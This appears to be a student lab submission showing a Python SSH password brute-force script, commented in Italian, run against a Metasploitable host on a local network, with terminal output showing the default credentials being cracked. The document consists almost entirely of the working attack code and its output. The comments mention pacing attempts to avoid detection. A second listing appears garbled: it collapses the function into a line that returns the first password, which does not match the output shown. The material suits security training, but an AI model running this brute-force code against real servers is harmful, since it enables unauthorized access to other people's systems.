

M2W8D4 - Denis Martinelli

```
Welcome M2W8D4.py x
home > kali > Desktop > Epicode > M2W8D4.py > ...
1 import paramiko # Importo Paramiko per gestire connessioni SSH, essenziale per brute force su server remoti
2 import socket   # Importo socket per catturare errori di rete, tipo connessioni fallite
3 import time     # Importo time per aggiungere delay, così non spammo troppi tentativi e evito detection
4
5 def ssh_bruteforce(host, port, username, password_list, timeout=5): # Definisco la funzione per brute force SSH,
6                               # passando host, porta, user, lista password e timeout per non bloccarmi
7     client = paramiko.SSHClient() # Creo un client SSH, come se fossi un attaccante che si prepara a connettersi
8     client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Imposto policy per aggiungere auto le chiavi host
9     for password in password_list: # Loop su ogni password nella lista, provo una per una come in un attacco dictionary
10         try: # Inizio un try per gestire errori senza crashare lo script
11             print(f"[+] Trying {username}: {password.strip()}") # Stampo il tentativo, per tracciare il progresso
12             client.connect(hostname=host, port=port, username=username, password=password.strip(), timeout=timeout) # Tento la connessione SSH con la password pulita, timeout per
13             print(f"[+] Successful Password found: {password.strip()}") # Se entra qui, password giusta, attacco riuscito
14             client.close() # Chiudo la connessione per pulire
15             return password.strip() # Ritorno la password trovata per usarla dopo
16         except paramiko.AuthenticationException: # Se auth fallisce (password sbagliata), continuo senza dire niente - stealth mode
17             continue
18         except (paramiko.SSHException, socket.error) as e: # Catturo errori SSH o socket
19             print(f"[-] Connection error: {e}") # Stampo l'errore per debug
20             time.sleep(1) # leggero delay in caso di problemi di rete # Aggiungo 1 secondo di pausa per non floodare
21             continue # Continuo con la prossima password
22     print(f"[-] Password not found") # Se finisco la lista senza successo, attacco fallito
23     return None # Ritorno None per indicare che non ho crackato niente
24
25 if __name__ == "__main__": # Blocco main per eseguire solo se lancio lo script direttamente, buona pratica per moduli
26     target_host = "192.168.1.105" # Setto l'IP target, un host locale per testing
27     target_port = 22 # Porta SSH standard, 22 è default per brute force
28     username = "msfadmin" # Username della Metasploitable da attaccare, scelto per simularne uno debole
29     with open("/home/kali/Desktop/passwordsbrute.txt", "r") as f: # Apro il file con lista password, uso with per chiudere auto - evito leak
30         passwords = f.readlines() # Leggo tutte le linee come lista, ogni riga una password da provare
31     found = ssh_bruteforce(target_host, target_port, username, passwords) # Lancio la funzione brute force con i params
32     if found: # Se ho trovato la password
33         print(f"[+] Credentials: {username}: {found}") # Stampo le credenziali crackate, come report di un red team
34     else:
35         print(f"[-] No valid credentials found") # Stampo fallimento, magari la password è forte o lista incompleta
```

```
Welcome M2W8D4.py x
home > kali > Desktop > Epicode > M2W8D4.py > ...
5 def ssh_bruteforce(host, port, username, password_list, timeout=5): # Definisco la funzione per brute force SSH,
6     return password_list[0] # Ritorno la password trovata per usarla dopo
16 except paramiko.AuthenticationException: # Se auth fallisce (password sbagliata), continuo senza dire niente - stealth mode
17     continue
18 except (paramiko.SSHException, socket.error) as e: # Catturo errori SSH o socket
19     print(f"[-] Connection error: {e}") # Stampo l'errore per debug
20     time.sleep(1) # leggero delay in caso di problemi di rete # Aggiungo 1 secondo di pausa per non floodare
21     continue # Continuo con la prossima password
22 print(f"[-] Password not found") # Se finisco la lista senza successo, attacco fallito
23 return None # Ritorno None per indicare che non ho crackato niente
24
25 if __name__ == "__main__": # Blocco main per eseguire solo se lancio lo script direttamente, buona pratica per moduli
26     target_host = "192.168.1.105" # Setto l'IP target, un host locale per testing
27     target_port = 22 # Porta SSH standard, 22 è default per brute force
28     username = "msfadmin" # Username della Metasploitable da attaccare, scelto per simularne uno debole
29     with open("/home/kali/Desktop/passwordsbrute.txt", "r") as f: # Apro il file con lista password, uso with per chiudere auto - evito leak
30         passwords = f.readlines() # Leggo tutte le linee come lista, ogni riga una password da provare
31     found = ssh_bruteforce(target_host, target_port, username, passwords) # Lancio la funzione brute force con i params
32     if found: # Se ho trovato la password
33         print(f"[+] Credentials: {username}: {found}") # Stampo le credenziali crackate, come report di un red team
34     else:
35         print(f"[-] No valid credentials found") # Stampo fallimento, magari la password è forte o lista incompleta

PROBLEMS OUTPUT DEBUG-CONSOLE TERMINAL PORTS
/bin/python /home/kali/Desktop/Epicode/M2W8D4.py
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali) ~$ /bin/python /home/kali/Desktop/Epicode/M2W8D4.py
[+] Trying msfadmin: fanfulla
[+] Trying msfadmin: capello
[+] Trying msfadmin: trippetta
[+] Trying msfadmin: protuberanza39385349
[+] Trying msfadmin: 99carpiato
[+] Trying msfadmin: msfadmin
[+] Successful Password found: msfadmin
[+] Credentials: msfadmin: msfadmin
```